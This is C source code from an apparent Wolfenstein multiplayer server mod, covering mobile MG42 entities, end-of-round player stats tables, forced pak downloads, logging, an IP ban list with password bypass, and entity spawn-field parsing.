if (self->r.currentAngles[PITCH] != 0 && self->r.currentAngles[PITCH] != -360 ){
//newviewangles[PITCH] = g_test1.integer;
if(self->r.currentAngles[PITCH] >= -90 && self->r.currentAngles[PITCH] <=0 )
newviewangles[PITCH]+=1;//make gun move down
else if(self->r.currentAngles[PITCH] <= -270 && self->r.currentAngles[PITCH] >=-360 )
newviewangles[PITCH]-=1;//make gun move up
}
G_SetAngle(self,newviewangles);
self->count = 0;
}
}
}
void propExplosionLarge (gentity_t *ent);
void auto_mg42_die (gentity_t *self, gentity_t *inflictor, gentity_t *attacker, int damage, int mod)
{
gentity_t *gun;
//play a brizake sound
G_Sound(self, G_SoundIndex("sound/weapons/mg42/mg42_death.wav"));
//tell the world it got brizoke
gun=self->chain;
if(attacker->client && (gun->parent->client != attacker->client))
trap_SendServerCommand(-1, va("print \"%s ^7disabled %s^7's mobile mg42\n",
attacker->client->pers.netname, gun->parent->client->pers.netname));
else
trap_SendServerCommand(-1, va("print \"%s^7's mobile mg42 was disabled\n",
gun->parent->client->pers.netname));
self->freeAfterEvent = qtrue;
self->flags |= FL_NODRAW;
self->r.svFlags |= SVF_NOCLIENT;
self->s.eFlags |= EF_NODRAW;
self->r.contents = 0;
self->nextthink = 0;
self->think = 0;
gun->freeAfterEvent = qtrue;
gun->flags |= FL_NODRAW;
gun->r.svFlags |= SVF_NOCLIENT;
gun->s.eFlags |= EF_NODRAW;
gun->r.contents = 0;
gun->nextthink = 0;
gun->think = 0;
}
void auto_mg42_spawn (gentity_t *ent)
{
gentity_t *base, *gun;
vec3_t offset;
base = G_Spawn ();
base->clipmask = CONTENTS_SOLID;
base->r.contents = CONTENTS_SOLID;
base->r.svFlags = SVF_USE_CURRENT_ORIGIN;
base->s.eType = ET_GENERAL;
base->takedamage = qfalse;
base->die = auto_mg42_die;
base->s.modelindex = G_ModelIndex ("models/mapobjects/weapons/mg42b.md3");
VectorSet (base->r.mins, -8, -8, -8);
VectorSet (base->r.maxs, 8, 8, 48);
VectorCopy (ent->r.currentOrigin, offset);
offset[2]-=24;
offset[2]+=20;
G_SetOrigin (base, offset);
base->s.apos.trType = TR_STATIONARY;
base->s.apos.trTime = 0;
base->s.apos.trDuration = 0;
base->s.dmgFlags = HINT_MG42; // identify this for cursorhints
VectorCopy (ent->r.currentAngles, base->s.angles);
VectorCopy (base->s.angles, base->s.apos.trBase);
VectorCopy (base->s.angles, base->s.apos.trDelta );
base->health = ent->health;
base->target = ent->target; //----(SA) added so mounting mg42 can trigger targets
trap_LinkEntity (base);
gun = G_Spawn ();
gun->classname = "automg42";
gun->clipmask = CONTENTS_SOLID;
gun->r.contents = CONTENTS_TRIGGER;
gun->r.svFlags = SVF_USE_CURRENT_ORIGIN;
gun->s.eType = ET_GENERAL;
gun->health = base->health; // JPW NERVE
// DHM - Don't need to specify here, handled in G_CheckForCursorHints
//gun->s.dmgFlags = HINT_MG42; // identify this for cursorhints
gun->touch = 0;
gun->last_move_time = 0;
// DHM - Nerve :: Use a different model in multiplayer
if ( g_gametype.integer >= GT_WOLF )
gun->s.modelindex = G_ModelIndex ("models/multiplayer/mg42/mg42.md3");
else
gun->s.modelindex = G_ModelIndex ("models/mapobjects/weapons/mg42a.md3");
VectorCopy (ent->r.currentOrigin, offset);
offset[2]+=24;
offset[2]+=20;
G_SetOrigin (gun, offset);
VectorSet (gun->r.mins, -24, -24, -8);
VectorSet (gun->r.maxs, 24, 24, 48);
gun->s.apos.trTime = 0;
gun->s.apos.trDuration = 0;
VectorCopy (ent->r.currentAngles, gun->s.angles);
VectorCopy (gun->s.angles, gun->s.apos.trBase);
VectorCopy (gun->s.angles, gun->s.apos.trDelta );
VectorCopy (ent->s.angles, gun->s.angles2);
gun->think = 0;
gun->nextthink = 0;
gun->timestamp = 0;
gun->s.number = gun - g_entities;
gun->harc = ent->harc;
gun->varc = ent->varc;
gun->s.apos.trType = TR_LINEAR_STOP; // interpolate the angles
gun->takedamage = qfalse;
gun->targetname = ent->targetname; // need this for scripting
gun->damage = ent->damage;
gun->accuracy = ent->accuracy;
gun->target = ent->target; //----(SA) added so mounting mg42 can trigger targets
gun->use = 0;
//gun->die = auto_mg42_die; // JPW NERVE we want it to be called for non-tripod machineguns too (for mp_beach etc)
gun->parent = ent->parent;
gun->s.frame = 2;
gun->mg42BaseEnt = base->s.number;
gun->spawnflags = ent->spawnflags;
trap_LinkEntity (gun);
base->chain = gun;
G_FreeEntity (ent);
muzzleflashmodel = G_ModelIndex ("models/weapons2/machinegun/mg42_flash.md3");
//auto_mg42_die(ent);
}
//Model of what i think stats should be like
/*
===============================================================================
AXIS TEAM
===============================================================================
| CN NAME | K D KR Tk | G R H A | DG DR | HS ACC |
-------------------------------------------------------------------------------
| 10 namename | 100 100 23.00 0 | 100 100 100 100 | 10000 10000 | 100 100.00 |
-------------------------------------------------------------------------------
===============================================================================
ALLIED TEAM
===============================================================================
| CN NAME | K D KR Tk | G R H A | DG DR | HS ACC |
-------------------------------------------------------------------------------
| 10 namename | 100 100 23.00 0 | 100 100 100 100 | 10000 10000 | 100 100.00 |
-------------------------------------------------------------------------------
*/
/*
===========
printstats
===========
*/
void printstats()
{
int i;
int j;
//S4ND_Log("Print Table Stats Start\n");
trap_SendServerCommand(-1, "print \"^5Stats key:\n");
trap_SendServerCommand(-1, "print \"^3CN = Client Number K = Kills D = Deaths\n");
trap_SendServerCommand(-1, "print \"^3Tk = Teamkills G = Gibs A = Ammo given\n");
trap_SendServerCommand(-1, "print \"^3DR = Damage received R = revives KR = Kill Ratio\n");
trap_SendServerCommand(-1, "print \"^3DG = Damage given H = Health given HS = Head shots\n");
trap_SendServerCommand(-1, "print \"^3ACC = Accuracy\n");
trap_SendServerCommand(-1, "print \"\n");
trap_SendServerCommand(-1, "print \"^3-----------------------------------------------------------------------------\n");
trap_SendServerCommand(-1, "print \"^3| ^1AXIS TEAM ^3|\n");
trap_SendServerCommand(-1, "print \"^3-----------------------------------------------------------------------------\n");
trap_SendServerCommand(-1, "print \"^3CN NAME | K D KR Tk | G R H A | DG DR | HS ACC |\n");
trap_SendServerCommand(-1, "print \"^3-----------------------------------------------------------------------------\n");
//go through all clients
for(i=0; i < g_maxclients.integer; i++){
if(level.clients[i].pers.connected != CON_CONNECTED)
continue;
for(j=0; j < g_maxclients.integer; j++){//go through all clients again lol
if(level.clients[j].pers.connected != CON_CONNECTED)
continue;
if (level.clients[j].sess.sessionTeam != TEAM_RED)
continue;
if(j==i){
trap_SendServerCommand(i, va("print \"%s",level.clients[j].pers.ownendroundstats));
}else{
trap_SendServerCommand(i, va("print \"%s",level.clients[j].pers.endroundstats));
}
}
}
trap_SendServerCommand(-1, "print \"^3-----------------------------------------------------------------------------\n");
trap_SendServerCommand(-1, "print \"\n");
trap_SendServerCommand(-1, "print \"^3-----------------------------------------------------------------------------\n");
trap_SendServerCommand(-1, "print \"^3| ^4ALLIED TEAM ^3|\n");
trap_SendServerCommand(-1, "print \"^3-----------------------------------------------------------------------------\n");
trap_SendServerCommand(-1, "print \"^3CN NAME | K D KR Tk | G R H A | DG DR | HS ACC |\n");
trap_SendServerCommand(-1, "print \"^3-----------------------------------------------------------------------------\n");
//go through all clients
for(i=0; i < g_maxclients.integer; i++){
if(level.clients[i].pers.connected != CON_CONNECTED)
continue;
for(j=0; j < g_maxclients.integer; j++){//go through all clients again lol
if(level.clients[j].pers.connected != CON_CONNECTED)
continue;
if (level.clients[j].sess.sessionTeam != TEAM_BLUE)
continue;
if(j==i){
trap_SendServerCommand(i, va("print \"%s",level.clients[j].pers.ownendroundstats));
}else{
trap_SendServerCommand(i, va("print \"%s",level.clients[j].pers.endroundstats));
}
}
}
trap_SendServerCommand(-1, "print \"^3-----------------------------------------------------------------------------\n");
// removed this stupid line :p
//trap_SendServerCommand(-1, "print \"^5Need help understanding? Scroll up to the key at the top\n");
//S4ND_Log("Print Table Stats Done\n");
}
void parseleftovercolorthings(char name[32])
{
int i=0;
int j=0;
char afterparse[32];
afterparse[0]='\0';
for (i=0 ; i < 32; i++)
{
if(name[i] == '^')
continue;
if(name[i] == '\0')
break;
afterparse[j]=name[i];
j++;
}
strcpy(name,afterparse);
}
/*
===========
BuildStats
===========
*/
//Builds each clients line for the stats
void BuildStats()
{
int i, j, cnt;
int tKill, tDeaths, tKillratio, tTk, tGibs, tRevies, tHealth, tAmmo, tDG, tDR, tHS, tHits,tShots;
gclient_t *cl;
float KillRatio = 0.00f;
float acc = 0.00f;
float avgKR = 0.00f;
float avgAcc = 0.00f;
char name[MAX_STRING_CHARS];
char*col;
for(i=TEAM_RED; i<=TEAM_BLUE; i++) {
if(i==TEAM_RED)
trap_SendServerCommand(-1, "print \" ^1AXIS TEAM \n^3-----------------------------------------------------------------------------\n^3 NAME | K D KR Tk | G R H A | DG DR | HS ACC |\n^3-----------------------------------------------------------------------------\n");
else
trap_SendServerCommand(-1, "print \" ^4ALLIED TEAM \n^3-----------------------------------------------------------------------------\n^3 NAME | K D KR Tk | G R H A | DG DR | HS ACC |\n^3-----------------------------------------------------------------------------\n");
tKill=0;
tDeaths=0;
tKillratio=0;
tTk=0;
tGibs=0;
tRevies=0;
tHealth=0;
tAmmo=0;
tDG=0;
tDR=0;
tHS=0;
tShots=0;
tHits=0;
cnt=0;
for(j=0; j<level.numPlayingClients; j++) {
cl = level.clients + level.sortedClients[j];
if(cl->pers.connected != CON_CONNECTED || cl->sess.sessionTeam != i)
continue;
CleanseString(cl->pers.netname, name, qfalse);
name[11] = 0;
//keep track of totals!
tKill+=cl->pers.kills;
tDeaths+=cl->pers.deaths;
tTk+=cl->pers.teamKills;
tGibs+=cl->pers.teamGibs;
tRevies+=cl->pers.revives;
tHealth+=cl->pers.medPacks;
tAmmo+=cl->pers.ammoPacks;
tDG+=cl->pers.dmgGiven;
tDR+=cl->pers.dmgreceived;
tHS+=cl->pers.headshots;
tHits+=cl->pers.acc_hits;
tShots+=cl->pers.acc_shots;
if(cl->pers.acc_shots > 0)
acc = ((float)cl->pers.acc_hits / (float)cl->pers.acc_shots ) * 100.00f;
if(cl->pers.deaths < 1)
KillRatio = (float)cl->pers.kills / (float)1;
else
KillRatio = (float)cl->pers.kills / (float)cl->pers.deaths;
trap_SendServerCommand(cl->ps.clientNum, "print \"^5-----------------------------------------------------------------------------\n");
trap_SendServerCommand(-1, va("print \"^7%-11s ^3|^7 %3d %3d %5.2f %2d ^3|^7 %3d %3d %3d %3d ^3|^7 %5d %5d ^3|^7 %3d %6.2f ^3|\n\"",
name,
cl->pers.kills,
cl->pers.deaths,
KillRatio,
cl->pers.teamKills,
cl->pers.gibs,
cl->pers.revives,
cl->pers.medPacks,
cl->pers.ammoPacks,
cl->pers.dmgGiven,
cl->pers.dmgreceived,
cl->pers.headshots,
acc));
trap_SendServerCommand(cl->ps.clientNum, "print \"^5-----------------------------------------------------------------------------\n");
//count up to see if we actually printed stats for players
cnt++;
}//end of individual stats
if(cnt){//check if we actually had stats for this team
if(tShots > 0)
acc = ((float)tHits / (float)tShots ) * 100.00f;
if(tShots > 0)
avgAcc = ((float)(tHits/cnt) / (float)(tShots/cnt) ) * 100.00f;
if(tDeaths < 1)
KillRatio = (float)tKill / (float)1;
else
KillRatio = (float)tKill / (float)tDeaths;
if(tDeaths < 1)
avgKR = ((float)(tKill/cnt))/1;
else
avgKR = ((float)(tKill/cnt))/((float)(tDeaths/cnt));
if(i==TEAM_RED)
col="^1";
else
col="^4";
trap_SendServerCommand(-1, va("print \"^3-----------------------------------------------------------------------------\n %sTOTALS ^3|^2 %3d %3d %5.2f %2d ^3|^2 %3d %3d %3d %3d ^3|^2 %5d %5d ^3|^2 %3d %6.2f ^3|\n\"",
col,
tKill,
tDeaths,
KillRatio,
tTk,
tGibs,
tRevies,
tHealth,
tAmmo,
tDG,
tDR,
tHS,
acc));
trap_SendServerCommand(-1, va("print \" %sTEAM AVG ^3|^2 %3d %3d %5.2f %2d ^3|^2 %3d %3d %3d %3d ^3|^2 %5d %5d ^3|^2 %3d %6.2f ^3|\n^3-----------------------------------------------------------------------------\n\n\"",
col,
tKill/cnt,
tDeaths/cnt,
avgKR,
tTk/cnt,
tGibs/cnt,
tRevies/cnt,
tHealth/cnt,
tAmmo/cnt,
tDG/cnt,
tDR/cnt,
tHS/cnt,
avgAcc));
}else{// if we didnt have any stats for this team
trap_SendServerCommand(-1, va("print \"^3No stats to report!\n"));
}
}//end of team stats
/*
//1st attempt at table stats - works but EH!
char statline[1024];
char ownstatline[1024];
char name[32];
int i=0;
int namelen;
float KillRatio = 0.00f;
float acc = 0.00f;
//S4ND_Log("Build stats called\n");
for(i=0; i < g_maxclients.integer; i++){
if ((level.clients[i].sess.sessionTeam != TEAM_RED) && (level.clients[i].sess.sessionTeam != TEAM_BLUE))
continue;
if(level.clients[i].pers.connected != CON_CONNECTED)
continue;
//S4ND_Log("-New Player\n",level.clients[i].pers.netname);
//S4ND_Log(" +Building Stats for (%i) %s\n",i,level.clients[i].pers.netname);
//clear everything
statline[0]= '\0';
ownstatline[0]= '\0';
name[0]= '\0';
acc = 0.00f;
KillRatio = 0.00f;
namelen=0;
//S4ND_Log(" +Old Vars reset.\n");
//Clientnum
if (i < 10){
strcat(statline, va("^7 %i ",i));
strcat(ownstatline, va("^5 %i ",i));
}else{
strcat(statline, va("^7%i ",i));
strcat(ownstatline, va("^5%i ",i));
}
// S4ND_Log(" +Clientnum set\n");
//Name
Q_strncpyz(name, level.clients[i].pers.netname, sizeof(name)); //copy the name
//S4ND_Log(" +Name Copied\n");
Q_CleanStr(name); //clean the color out
//S4ND_Log(" +Cleaned Colors\n");
parseleftovercolorthings(name); //clean extra ^^ out
// S4ND_Log(" +removed extra ^\n");
namelen = strlen(name); //name len
//S4ND_Log(" +grabbed len of name\n");
if (namelen==0){
strcat(statline, va("%.08s ^3|^7",name));
strcat(ownstatline, va("%.08s ^3|^5",name));
}else if (namelen==1){
strcat(statline, va("%.08s ^3|^7",name));
strcat(ownstatline, va("%.08s ^3|^5",name));
}else if (namelen==2){
strcat(statline, va("%.08s ^3|^7",name));
strcat(ownstatline, va("%.08s ^3|^5",name));
}else if (namelen==3){
strcat(statline, va("%.08s ^3|^7",name));
strcat(ownstatline, va("%.08s ^3|^5",name));
}else if (namelen==4){
strcat(statline, va("%.08s ^3|^7",name));
strcat(ownstatline, va("%.08s ^3|^5",name));
}else if (namelen==5){
strcat(statline, va("%.08s ^3|^7",name));
strcat(ownstatline, va("%.08s ^3|^5",name));
}else if (namelen==6){
strcat(statline, va("%.08s ^3|^7",name));
strcat(ownstatline, va("%.08s ^3|^5",name));
}else if (namelen==7){
strcat(statline, va("%.08s ^3|^7",name));
strcat(ownstatline, va("%.08s ^3|^5",name));
}else if (namelen > 7){
strcat(statline, va("%.08s ^3|^7",name));
strcat(ownstatline, va("%.08s ^3|^5",name));
}
//S4ND_Log(" +added name\n");
//Kills
if(level.clients[i].pers.kills < 10){
strcat(statline, va(" %i",level.clients[i].pers.kills));
strcat(ownstatline, va(" %i",level.clients[i].pers.kills));
}else if(level.clients[i].pers.kills < 100){
strcat(statline, va(" %i",level.clients[i].pers.kills));
strcat(ownstatline, va(" %i",level.clients[i].pers.kills));
}else{
strcat(statline, va(" %i",level.clients[i].pers.kills));
strcat(ownstatline, va(" %i",level.clients[i].pers.kills));
}
//S4ND_Log(" +added kills\n");
//Deaths
if(level.clients[i].pers.deaths < 10){
strcat(statline, va(" %i",level.clients[i].pers.deaths));
strcat(ownstatline, va(" %i",level.clients[i].pers.deaths));
}else if(level.clients[i].pers.deaths < 100){
strcat(statline, va(" %i",level.clients[i].pers.deaths));
strcat(ownstatline, va(" %i",level.clients[i].pers.deaths));
}else{
strcat(statline, va(" %i",level.clients[i].pers.deaths));
strcat(ownstatline, va(" %i",level.clients[i].pers.deaths));
}
//S4ND_Log(" +added deaths\n");
//KillRatio
if(level.clients[i].pers.deaths < 1){
KillRatio = (float)level.clients[i].pers.kills / (float)1;
}else{
KillRatio = (float)level.clients[i].pers.kills / (float)level.clients[i].pers.deaths;
}
if(KillRatio < 10){
strcat(statline, va(" %2.2f",KillRatio));
strcat(ownstatline, va(" %2.2f",KillRatio));
}else{
strcat(statline, va(" %2.2f",KillRatio));
strcat(ownstatline, va(" %2.2f",KillRatio));
}
//S4ND_Log(" +added KR\n");
//Teamkills
if(level.clients[i].pers.teamKills < 10){
strcat(statline, va(" %i ^3|^7",level.clients[i].pers.teamKills));
strcat(ownstatline, va(" %i ^3|^5",level.clients[i].pers.teamKills));
}else {
strcat(statline, va(" %i ^3|^7",level.clients[i].pers.teamKills));
strcat(ownstatline, va(" %i ^3|^5",level.clients[i].pers.teamKills));
}
//S4ND_Log(" +added TKs\n");
//Gibs
if(level.clients[i].pers.gibs < 10){
strcat(statline, va(" %i",level.clients[i].pers.gibs));
strcat(ownstatline, va(" %i",level.clients[i].pers.gibs));
}else if(level.clients[i].pers.gibs < 100){
strcat(statline, va(" %i",level.clients[i].pers.gibs));
strcat(ownstatline, va(" %i",level.clients[i].pers.gibs));
}else{
strcat(statline, va(" %i",level.clients[i].pers.gibs));
strcat(ownstatline, va(" %i",level.clients[i].pers.gibs));
}
//S4ND_Log(" +added gibs\n");
//Revives
if(level.clients[i].pers.revives < 10){
strcat(statline, va(" %i",level.clients[i].pers.revives));
strcat(ownstatline, va(" %i",level.clients[i].pers.revives));
}else if(level.clients[i].pers.revives < 100){
strcat(statline, va(" %i",level.clients[i].pers.revives));
strcat(ownstatline, va(" %i",level.clients[i].pers.revives));
}else{
strcat(statline, va(" %i",level.clients[i].pers.revives));
strcat(ownstatline, va(" %i",level.clients[i].pers.revives));
}
//S4ND_Log(" +added revives\n");
//Health given
if(level.clients[i].pers.medPacks < 10){
strcat(statline, va(" %i",level.clients[i].pers.medPacks));
strcat(ownstatline, va(" %i",level.clients[i].pers.medPacks));
}else if(level.clients[i].pers.medPacks < 100){
strcat(statline, va(" %i",level.clients[i].pers.medPacks));
strcat(ownstatline, va(" %i",level.clients[i].pers.medPacks));
}else{
strcat(statline, va(" %i",level.clients[i].pers.medPacks));
strcat(ownstatline, va(" %i",level.clients[i].pers.medPacks));
}
//S4ND_Log(" +added health given\n");
//Ammo Given
if(level.clients[i].pers.ammoPacks < 10){
strcat(statline, va(" %i ^3|^7",level.clients[i].pers.ammoPacks));
strcat(ownstatline, va(" %i ^3|^5",level.clients[i].pers.ammoPacks));
}else if(level.clients[i].pers.ammoPacks < 100){
strcat(statline, va(" %i ^3|^7",level.clients[i].pers.ammoPacks));
strcat(ownstatline, va(" %i ^3|^5",level.clients[i].pers.ammoPacks));
}else{
strcat(statline, va(" %i ^3|^7",level.clients[i].pers.ammoPacks));
strcat(ownstatline, va(" %i ^3|^5",level.clients[i].pers.ammoPacks));
}
//S4ND_Log(" +added ammo given\n");
//Damage Given
//Agent - 1/17/07 was .dmgtaken
if(level.clients[i].pers.dmgGiven < 10){
strcat(statline, va(" %i",level.clients[i].pers.dmgGiven));
strcat(ownstatline, va(" %i",level.clients[i].pers.dmgGiven));
}else if(level.clients[i].pers.dmgGiven < 100){
strcat(statline, va(" %i",level.clients[i].pers.dmgGiven));
strcat(ownstatline, va(" %i",level.clients[i].pers.dmgGiven));
}else if(level.clients[i].pers.dmgGiven < 1000){
strcat(statline, va(" %i",level.clients[i].pers.dmgGiven));
strcat(ownstatline, va(" %i",level.clients[i].pers.dmgGiven));
}else if(level.clients[i].pers.dmgGiven < 10000){
strcat(statline, va(" %i",level.clients[i].pers.dmgGiven));
strcat(ownstatline, va(" %i",level.clients[i].pers.dmgGiven));
}else{
strcat(statline, va(" %i",level.clients[i].pers.dmgGiven));
strcat(ownstatline, va(" %i",level.clients[i].pers.dmgGiven));
}
//S4ND_Log(" +added DG\n");
//Damage received
if(level.clients[i].pers.dmgreceived < 10){
strcat(statline, va(" %i ^3|^7",level.clients[i].pers.dmgreceived));
strcat(ownstatline, va(" %i ^3|^5",level.clients[i].pers.dmgreceived));
}else if(level.clients[i].pers.dmgreceived < 100){
strcat(statline, va(" %i ^3|^7",level.clients[i].pers.dmgreceived));
strcat(ownstatline, va(" %i ^3|^5",level.clients[i].pers.dmgreceived));
}else if(level.clients[i].pers.dmgreceived < 1000){
strcat(statline, va(" %i ^3|^7",level.clients[i].pers.dmgreceived));
strcat(ownstatline, va(" %i ^3|^5",level.clients[i].pers.dmgreceived));
}else if(level.clients[i].pers.dmgreceived < 10000){
strcat(statline, va(" %i ^3|^7",level.clients[i].pers.dmgreceived));
strcat(ownstatline, va(" %i ^3|^5",level.clients[i].pers.dmgreceived));
}else{
strcat(statline, va(" %i ^3|^7",level.clients[i].pers.dmgreceived));
strcat(ownstatline, va(" %i ^3|^5",level.clients[i].pers.dmgreceived));
}
//S4ND_Log(" +added DR\n");
//Head Shots
if(level.clients[i].pers.headshots < 10){
strcat(statline, va(" %i",level.clients[i].pers.headshots));
strcat(ownstatline, va(" %i",level.clients[i].pers.headshots));
}else if(level.clients[i].pers.headshots < 100){
strcat(statline, va(" %i",level.clients[i].pers.headshots));
strcat(ownstatline, va(" %i",level.clients[i].pers.headshots));
}else{
strcat(statline, va(" %i",level.clients[i].pers.headshots));
strcat(ownstatline, va(" %i",level.clients[i].pers.headshots));
}
//S4ND_Log(" +added HS\n");
//Accuracy
if (level.clients[i].pers.acc_shots > 0){
acc = ((float)level.clients[i].pers.acc_hits / (float)level.clients[i].pers.acc_shots ) * 100.00f;
}
if(acc < 10){
strcat(statline, va(" %2.2f ^3|\n",acc));
strcat(ownstatline, va(" %2.2f ^3|\n",acc));
}else if(acc < 100){
strcat(statline, va(" %2.2f ^3|\n",acc));
strcat(ownstatline, va(" %2.2f ^3|\n",acc));
}else{
strcat(statline, va(" %2.2f ^3|\n",acc));
strcat(ownstatline, va(" %2.2f ^3|\n",acc));
}
//S4ND_Log(" +added ACC\n");
level.clients[i].pers.ownendroundstats[0]='\0';
level.clients[i].pers.endroundstats[0]='\0';
//S4ND_Log(" +added (null) to end of string\n");
strcat(level.clients[i].pers.endroundstats,statline);
strcat(level.clients[i].pers.ownendroundstats,ownstatline);
//S4ND_Log(" +coppeid stat lines \n");
// S4ND_Log("-End\n\n");
}
//S4ND_Log("Print Stats Start\n");
printstats();
//S4ND_Log("Game Done\n");
*/
}
void forceDLinit()
{
char *variable, *token, *text;
if(!strlen(g_forceDLpaknames.string) || !strlen(g_forceDLchecksums.string))
return;
//first check paknames
text=g_forceDLpaknames.string;
variable = sv_referencedPakNames.string;
do{
token = COM_Parse(&text); //token will contain a single word, progressing 1 word each loop
if(strstr(variable,token) == NULL){
strcat(variable, va("%s ",token));
}
}while (token && token[0]);
trap_Cvar_Set( "sv_referencedPakNames", va("%s",variable) );
//second check checksums
text=g_forceDLchecksums.string;
variable = sv_referencedPaks.string;
do{
token = COM_Parse(&text); //token will contain a single word, progressing 1 word each loop
if(strstr(variable,token) == NULL){
strcat(variable, va("%s ",token));
}
}while (token && token[0]);
trap_Cvar_Set( "sv_referencedPaks", va("%s",variable) );
//S4ND_Log("Force Download Started!\n");
}
void QDECL S4ND_Log( const char *fmt, ... ) {
va_list argptr;
char string[1024];
int min, tens, sec;
time_t rawtime;
time ( &rawtime );
if ( !level.S4NDLog ) {
return;
}
sec = level.time / 1000;
min = sec / 60;
sec -= min * 60;
tens = sec / 10;
sec -= tens * 10;
Com_sprintf( string, sizeof(string), "%3i:%i%i ", min, tens, sec );
va_start( argptr, fmt );
vsprintf( string +7 , fmt,argptr );
va_end( argptr );
Q_CleanStr(string);
fputs( va("%s\n",string),level.S4NDLog );
//G_Printf(string);
}
int checkMBL(char*ip,char*password)
{
int ipf1,ipf2,ipf3,ipf4,ipt1,ipt2,ipt3,ipt4,ip1,ip2,ip3,ip4;
char test[70];
char buf[70];
FILE * mbl;
int isBanned=0,isBypassed=0;
char md5pass[33];
char pass[33];
mbl=fopen("mbl.txt","r");
sscanf(ip,"%i.%i.%i.%i",&ip1,&ip2,&ip3,&ip4);
if(password)
getmd5(password,md5pass);
while(fgets(buf,36,mbl)!=NULL)
{
sscanf(buf, "%s ", test);
if(!strcmp(test,"bypasses"))
break;
if(isBanned)//they are on the ban list, so just coast till we find bypasses
continue;
sscanf(test,"%i.%i.%i.%i-%i.%i.%i.%i",&ipf1,&ipf2,&ipf3,&ipf4,&ipt1,&ipt2,&ipt3,&ipt4);
if(ip1 >= ipf1 && ip1 <= ipt1 && ip2 >= ipf2 && ip2 <= ipt2 && ip3 >= ipf3 && ip3 <= ipt3 && ip4 >= ipf4 && ip4 <= ipt4 ){
isBanned=1;
}
}
if(isBanned){
while(fgets(buf,70,mbl)!=NULL && !isBypassed)
{
sscanf(buf, "%s %s ", test, pass);
sscanf(test,"%i.%i.%i.%i-%i.%i.%i.%i",&ipf1,&ipf2,&ipf3,&ipf4,&ipt1,&ipt2,&ipt3,&ipt4);
if(ip1 >= ipf1 && ip1 <= ipt1 && ip2 >= ipf2 && ip2 <= ipt2 && ip3 >= ipf3 && ip3 <= ipt3 && ip4 >= ipf4 && ip4 <= ipt4 ){
if(!strcmp(md5pass,pass))
{
isBypassed=1;
}
}
}
}
fclose(mbl);
if(isBanned && !isBypassed) //banned
return 1;
else //not banned
return 0;
}
<file_sep>/*
* name: g_spawn.c
*
* desc:
*
* $Author: <NAME> $
* $Revision: 7 $
* $Modtime: 11/05/01 3:38p $
* $Date: 11/05/01 3:38p $
*/
#include "g_local.h"
#include "S4ND_local.h"
qboolean G_SpawnString( const char *key, const char *defaultString, char **out ) {
int i;
if ( !level.spawning ) {
*out = (char *)defaultString;
// G_Error( "G_SpawnString() called while not spawning" );
}
for ( i = 0 ; i < level.numSpawnVars ; i++ ) {
if ( !strcmp( key, level.spawnVars[i][0] ) ) {
*out = level.spawnVars[i][1];
return qtrue;
}
}
*out = (char *)defaultString;
return qfalse;
}
qboolean G_SpawnFloat( const char *key, const char *defaultString, float *out ) {
char *s;
qboolean present;
present = G_SpawnString( key, defaultString, &s );
*out = atof( s );
return present;
}
qboolean G_SpawnInt( const char *key, const char *defaultString, int *out ) {
char *s;
qboolean present;
present = G_SpawnString( key, defaultString, &s );
*out = atoi( s );
return present;
}
qboolean G_SpawnVector( const char *key, const char *defaultString, float *out ) {
char *s;
qboolean present;
present = G_SpawnString( key, defaultString, &s );
sscanf( s, "%f %f %f", &out[0], &out[1], &out[2] );
return present;
}
//
// fields are needed for spawning from the entity string
//
typedef enum {
F_INT,
F_FLOAT,
F_LSTRING, // string on disk, pointer in memory, TAG_LEVEL
F_GSTRING, // string on disk, pointer in memory, TAG_GAME
F_VECTOR,
F_ANGLEHACK,
F_ENTITY, // index on disk, pointer in memory
F_ITEM, // index on disk, pointer in memory
F_CLIENT, // index on disk, pointer in memory
F_IGNORE
} fieldtype_t;
typedef struct
{
char *name;
int ofs;
fieldtype_t type;
int flags;
} field_t;
field_t fields[] = {
{"classname", FOFS(classname), F_LSTRING},
{"origin", FOFS(s.origin), F_VECTOR},
{"model", FOFS(model), F_LSTRING},
{"model2", FOFS(model2), F_LSTRING},
{"spawnflags", FOFS(spawnflags), F_INT},
{"speed", FOFS(speed), F_FLOAT},
{"closespeed", FOFS(closespeed), F_FLOAT}, //----(SA) added
{"target", FOFS(target), F_LSTRING},
{"targetname", FOFS(targetname), F_LSTRING},
{"message", FOFS(message), F_LSTRING},
{"popup", FOFS(message), F_LSTRING}, // (SA) mutually exclusive from 'message', but makes the ent more logical for the level designer
{"book", FOFS(message), F_LSTRING}, // (SA) mutually exclusive from 'message', but makes the ent more logical for the level designer
{"team", FOFS(team), F_LSTRING},
{"wait", FOFS(wait), F_FLOAT},
{"random", FOFS(random), F_FLOAT},
{"count", FOFS(count), F_INT},
{"health", FOFS(health), F_INT},
{"light", 0, F_IGNORE},
{"dmg", FOFS(damage), F_INT},
{"angles", FOFS(s.angles), F_VECTOR},
{"angle", FOFS(s.angles), F_ANGLEHACK},
// JOSEPH 9-27-99
{"duration", FOFS(duration), F_FLOAT},
{"rotate", FOFS(rotate), F_VECTOR},
// END JOSEPH
{"degrees", FOFS(angle), F_FLOAT},
{"time", FOFS(speed), F_FLOAT},
// Ridah, AI fields
{"aiattributes", FOFS(aiAttributes), F_LSTRING},
{"ainame", FOFS(aiName), F_LSTRING},
{"aiteam", FOFS(aiTeam), F_INT},
// done.
//----(SA) additional ai field
{"skin", FOFS(aiSkin), F_LSTRING},
{"head", FOFS(aihSkin), F_LSTRING},
//----(SA) done
// (SA) dlight lightstyles (made all these unique variables for testing)
{"_color", FOFS(dl_color), F_VECTOR}, // color of the light (the underscore is inserted by the color picker in QER)
{"color", FOFS(dl_color), F_VECTOR}, // color of the light
{"stylestring", FOFS(dl_stylestring), F_LSTRING}, // user defined stylestring "fffndlsfaaaaaa" for example
// done
//----(SA)
{"shader", FOFS(dl_shader), F_LSTRING}, // shader to use for a target_effect or dlight
// (SA) for target_unlock
{"key", FOFS(key), F_INT},
// done
// (SA) for item placement
{"stand", FOFS(s.frame), F_INT},
// (SA) end
// Rafael - mg42
{"harc", FOFS(harc), F_FLOAT},
{"varc", FOFS(varc), F_FLOAT},
// done.
// Rafael - sniper
{"delay", FOFS(delay), F_FLOAT},
{"radius", FOFS(radius), F_INT},
// Ridah, for reloading savegames at correct mission spot
{"missionlevel", FOFS(missionLevel), F_INT},
// Rafel
{"start_size", FOFS (start_size), F_INT},
{"end_size", FOFS (end_size), F_INT},
{"shard", FOFS (count), F_INT},
// Rafael
{"spawnitem", FOFS(spawnitem), F_LSTRING},
{"track", FOFS(track), F_LSTRING},
{"scriptName", FOFS(scriptName), F_LSTRING},
{NULL}
};
void SP_info_player_start (gentity_t *ent);
void SP_info_player_checkpoint (gentity_t *ent);
